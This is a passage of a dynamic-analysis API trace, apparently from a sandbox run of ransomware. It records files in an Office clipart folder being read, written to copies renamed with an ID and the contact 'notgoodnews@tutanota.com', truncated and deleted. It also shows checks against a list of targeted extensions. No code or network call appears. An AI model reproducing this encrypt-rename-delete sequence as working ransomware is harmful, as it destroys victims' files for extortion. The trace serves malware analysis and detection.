lpFileSize=0x31aff1c*=47786) returned 1 [0245.378] CloseHandle (hObject=0x304) returned 1 [0245.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0245.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.413] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.414] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0245.804] GetLastError () returned 0x0 [0245.804] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0245.814] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0245.819] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0245.819] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.820] SetEndOfFile (hFile=0x3a0) returned 1 [0245.820] CloseHandle (hObject=0x3a0) returned 1 [0245.820] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.820] SetEndOfFile (hFile=0x324) returned 1 [0245.830] CloseHandle (hObject=0x324) returned 1 [0245.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0245.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.832] lstrlenW (lpString=".doc") returned 4 [0245.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.832] lstrlenW (lpString=".docx") returned 5 [0245.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.832] lstrlenW (lpString=".pdf") returned 4 [0245.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.832] lstrlenW (lpString=".xls") returned 4 [0245.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.832] lstrlenW (lpString=".xlsx") returned 5 [0245.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.833] lstrlenW (lpString=".ppt") returned 4 [0245.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.833] lstrlenW (lpString=".zip") returned 4 [0245.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.834] lstrlenW (lpString=".rar") returned 4 [0245.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.834] lstrlenW (lpString=".bz2") returned 4 [0245.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.834] lstrlenW (lpString=".7z") returned 3 [0245.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.834] lstrlenW (lpString=".dbf") returned 4 [0245.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.834] lstrlenW (lpString=".1cd") returned 4 [0245.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.835] lstrlenW (lpString=".jpg") returned 4 [0245.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.835] lstrlenW (lpString=".doc") returned 4 [0245.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.835] lstrlenW (lpString=".docx") returned 5 [0245.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.835] lstrlenW (lpString=".pdf") returned 4 [0245.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.835] lstrlenW (lpString=".xls") returned 4 [0245.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.836] lstrlenW (lpString=".xlsx") returned 5 [0245.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.836] lstrlenW (lpString=".ppt") returned 4 [0245.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.836] lstrlenW (lpString=".zip") returned 4 [0245.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.836] lstrlenW (lpString=".rar") returned 4 [0245.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.836] lstrlenW (lpString=".bz2") returned 4 [0245.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.837] lstrlenW (lpString=".7z") returned 3 [0245.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.837] lstrlenW (lpString=".dbf") returned 4 [0245.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.837] lstrlenW (lpString=".1cd") returned 4 [0245.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0245.837] lstrlenW (lpString=".jpg") returned 4 [0245.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.838] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.838] lstrlenW (lpString="BD09662_.WMF") returned 12 [0245.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.839] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=20554) returned 1 [0245.839] CloseHandle (hObject=0x324) returned 1 [0245.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0245.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.840] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.840] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0245.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0245.842] GetLastError () returned 0x0 [0245.842] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x504a, lpOverlapped=0x0) returned 1 [0246.603] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x5050, lpOverlapped=0x0) returned 1 [0246.608] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0246.608] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.608] SetEndOfFile (hFile=0x3a0) returned 1 [0247.668] CloseHandle (hObject=0x3a0) returned 1 [0247.669] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0247.669] SetEndOfFile (hFile=0x324) returned 1 [0248.491] CloseHandle (hObject=0x324) returned 1 [0248.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0248.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.498] lstrlenW (lpString=".doc") returned 4 [0248.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.498] lstrlenW (lpString=".docx") returned 5 [0248.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.498] lstrlenW (lpString=".pdf") returned 4 [0248.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.499] lstrlenW (lpString=".xls") returned 4 [0248.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.499] lstrlenW (lpString=".xlsx") returned 5 [0248.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.499] lstrlenW (lpString=".ppt") returned 4 [0248.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.499] lstrlenW (lpString=".zip") returned 4 [0248.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.499] lstrlenW (lpString=".rar") returned 4 [0248.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.499] lstrlenW (lpString=".bz2") returned 4 [0248.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.500] lstrlenW (lpString=".7z") returned 3 [0248.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.604] lstrlenW (lpString=".dbf") returned 4 [0248.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.604] lstrlenW (lpString=".1cd") returned 4 [0248.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.605] lstrlenW (lpString=".jpg") returned 4 [0248.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.605] lstrlenW (lpString=".doc") returned 4 [0248.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.605] lstrlenW (lpString=".docx") returned 5 [0248.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.605] lstrlenW (lpString=".pdf") returned 4 [0248.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.605] lstrlenW (lpString=".xls") returned 4 [0248.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.606] lstrlenW (lpString=".xlsx") returned 5 [0248.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.606] lstrlenW (lpString=".ppt") returned 4 [0248.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.606] lstrlenW (lpString=".zip") returned 4 [0248.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.606] lstrlenW (lpString=".rar") returned 4 [0248.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.606] lstrlenW (lpString=".bz2") returned 4 [0248.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.606] lstrlenW (lpString=".7z") returned 3 [0248.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.607] lstrlenW (lpString=".dbf") returned 4 [0248.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.607] lstrlenW (lpString=".1cd") returned 4 [0248.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0248.607] lstrlenW (lpString=".jpg") returned 4 [0248.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.607] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0248.608] lstrlenW (lpString="BD19563_.GIF") returned 12 [0248.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0248.868] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=20454) returned 1 [0248.868] CloseHandle (hObject=0x388) returned 1 [0248.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0248.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0248.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.877] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0248.877] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0248.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.878] GetLastError () returned 0x0 [0248.878] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0249.070] WriteFile (in: hFile=0x384, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0249.074] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0249.074] WriteFile (in: hFile=0x384, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.074] SetEndOfFile (hFile=0x384) returned 1 [0249.075] CloseHandle (hObject=0x384) returned 1 [0249.075] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0249.075] SetEndOfFile (hFile=0x3a0) returned 1 [0249.104] CloseHandle (hObject=0x3a0) returned 1 [0249.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0251.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0252.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.035] lstrlenW (lpString=".doc") returned 4 [0252.035] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0252.035] lstrlenW (lpString=".docx") returned 5 [0252.035] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0252.035] lstrlenW (lpString=".pdf") returned 4 [0252.035] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0252.035] lstrlenW (lpString=".xls") returned 4 [0252.035] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0252.036] lstrlenW (lpString=".xlsx") returned 5 [0252.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0252.036] lstrlenW (lpString=".ppt") returned 4 [0252.036] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0252.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.036] lstrlenW (lpString=".zip") returned 4 [0252.036] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0252.036] lstrlenW (lpString=".rar") returned 4 [0252.037] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0252.037] lstrlenW (lpString=".bz2") returned 4 [0252.037] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0252.037] lstrlenW (lpString=".7z") returned 3 [0252.037] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0252.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.037] lstrlenW (lpString=".dbf") returned 4 [0252.037] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0252.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.038] lstrlenW (lpString=".1cd") returned 4 [0252.038] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0252.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.038] lstrlenW (lpString=".jpg") returned 4 [0252.038] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0252.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.039] lstrlenW (lpString=".doc") returned 4 [0252.039] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0252.039] lstrlenW (lpString=".docx") returned 5 [0252.039] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0252.039] lstrlenW (lpString=".pdf") returned 4 [0252.039] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0252.039] lstrlenW (lpString=".xls") returned 4 [0252.039] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0252.040] lstrlenW (lpString=".xlsx") returned 5 [0252.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0252.040] lstrlenW (lpString=".ppt") returned 4 [0252.040] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0252.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.040] lstrlenW (lpString=".zip") returned 4 [0252.040] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0252.040] lstrlenW (lpString=".rar") returned 4 [0252.040] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0252.041] lstrlenW (lpString=".bz2") returned 4 [0252.041] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0252.041] lstrlenW (lpString=".7z") returned 3 [0252.041] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0252.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.041] lstrlenW (lpString=".dbf") returned 4 [0252.041] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0252.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.041] lstrlenW (lpString=".1cd") returned 4 [0252.041] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0252.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0252.400] lstrlenW (lpString=".jpg") returned 4 [0252.401] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0252.402] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0252.402] lstrlenW (lpString="BD19986_.WMF") returned 12 [0252.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0252.787] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=14486) returned 1 [0252.787] CloseHandle (hObject=0x388) returned 1 [0252.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0252.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft 